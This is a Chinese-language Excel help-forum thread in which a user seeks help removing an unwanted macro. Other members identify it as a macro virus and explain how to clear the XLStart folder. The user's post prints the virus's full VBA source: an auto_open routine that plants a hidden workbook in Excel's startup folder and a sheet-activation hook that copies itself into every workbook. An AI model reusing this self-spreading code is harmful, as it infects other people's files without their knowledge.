返回列表 上一主題 發帖

無法消除巨集

無法消除巨集

您好:
我收到分公司寄來的檔案,其中含有巨集及一個隱藏檔"1006ㄗ?ㄘ",      HD1205155s.zip (9.59 KB)
現在關啟Excel使用時會一直出現對話框  
c.jpg
2012-6-1 15:38

而且將Excel關閉時無法真正關閉,必須關二次才行,
請關我要如何使這個巨集消失?

跟著圖上的路徑找到元兇刪掉就行了。
註:資料夾選項必須選擇顯示所有檔案

TOP

回復 2# chin15
問題就是找不到!且這個檔案是別人寄給我的,上面的路徑怎會有這個檔?

TOP

執行下述巨集 刪掉所開啟資料夾裡面的檔案

Sub StartupPathA()

On Error GoTo Error1
Dim mySh As Shell32.Shell
Set mySh = CreateObject("Shell.Application")
mySh.Explore Application.StartupPath  '任意的資料夾
Set mySh = Nothing  '物件的釋放
Error1: End Sub
Hung-Chi Lin/林宏吉
HUNGCHILIN/林宏吉的OFFICE專欄

TOP

本帖最後由 oobird 於 2012-6-1 23:31 編輯

[attach]11218[/attach][attach]11218[/attach]回復 4# HUNGCHILIN

以下是檔案中的巨集,但我將它刪除後,還是會一直出現前面所提的對話框,"1006ㄗ攣ㄘ.xls"這個檔是在對別人的電腦中,不是在我的電腦裡, 附件有三個sheet,每點選一個sheet,就會一直出現對話框.  [attach]11218[/attach]
我現在想做的如下:
1) 如果一個資料夾中,我存放了很多這樣的檔,它可以只刪除巨集,但檔案保留嗎?因為是有用的資料.
2) 刪除以下指明的 "1006ㄗ攣ㄘ.xls"  我第一次關掉excel後,excel不會整個關閉,而只是像關掉檔案的情形,第二次到檢視>取消隱藏視窗,就會出現另一個對話框,如果按確認就會開出一個空白的sheet , 所以我覺得它隱藏在每個收到的檔案中   
ss.jpg
2012-6-1 22:32

需要再按一次關閉才會真正關掉excel.
  1. Sub auto_open()
  2.   On Error Resume Next
  3.   If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "1006ㄗ攣ㄘ.xls") = "" Then
  4.     Application.ScreenUpdating = False
  5.     ThisWorkbook.Sheets("StartUp").Copy
  6.     ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "1006ㄗ攣ㄘ.xls")
  7.     n$ = ActiveWorkbook.Name
  8.     ActiveWindow.Visible = False
  9.     Workbooks("1006ㄗ攣ㄘ.xls").Save
  10.     Workbooks(n$).Close (False)
  11.   End If
  12.   Application.OnSheetActivate = "1006ㄗ攣ㄘ.xls!acop"

  13. End Sub

  14. Sub acop()
  15.   On Error Resume Next
  16.   If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
  17.     Application.ScreenUpdating = False
  18.     n$ = ActiveSheet.Name
  19.     Workbooks("1006ㄗ攣ㄘ.xls").Sheets("StartUp").Copy before:=Worksheets(1)
  20.     Sheets(n$).Select
  21.   End If
  22. End Sub
複製代碼

TOP

在哪中的病毒?附件傳上來包準害了很多人!
用這個附件清除一下。
清除後沒問題了記得回來把這個有病毒的附件刪除!
刪xlstart病毒.rar (176 Bytes)

TOP

回復 6# oobird
不好意思,我不知道它是病毒,請問我放上去的檔要怎麼刪?
另外我前面提到的問題是否能解決?

TOP

回復 6# oobird

我打開你提供的檔案,它就閃了一下,這樣是否有用?
upload的檔案我找不到地方可以前除,可以幫我刪嗎?或者是否我沒有權限?
我的檔案是經由email收到的,我要怎樣除去email及檔案的毒?
另外前面提到的問題能否解決?

TOP

運行過我的附件了嗎?其實前面每一樓講的都對。
就是要把Startup資料夾清空
二樓告訴妳的是手動刪除,循著路徑會找到的,只要設定顯示隱藏的檔案及資料夾會找得到的
阿吉是用程式直接開啟該資料夾,妳可以自行手動刪除
我的附件是替妳刪除,如此而已。
先解決這個隨機開啟的病毒再說!

TOP

閃了一下應該就行了。現在開啟新的excel檔案還會有不明的工作表或隱藏的活頁簿嗎?

TOP

        靜思自在 : 待人退一步,愛人寬一寸,就會活得很快樂。
返回列表 上一主題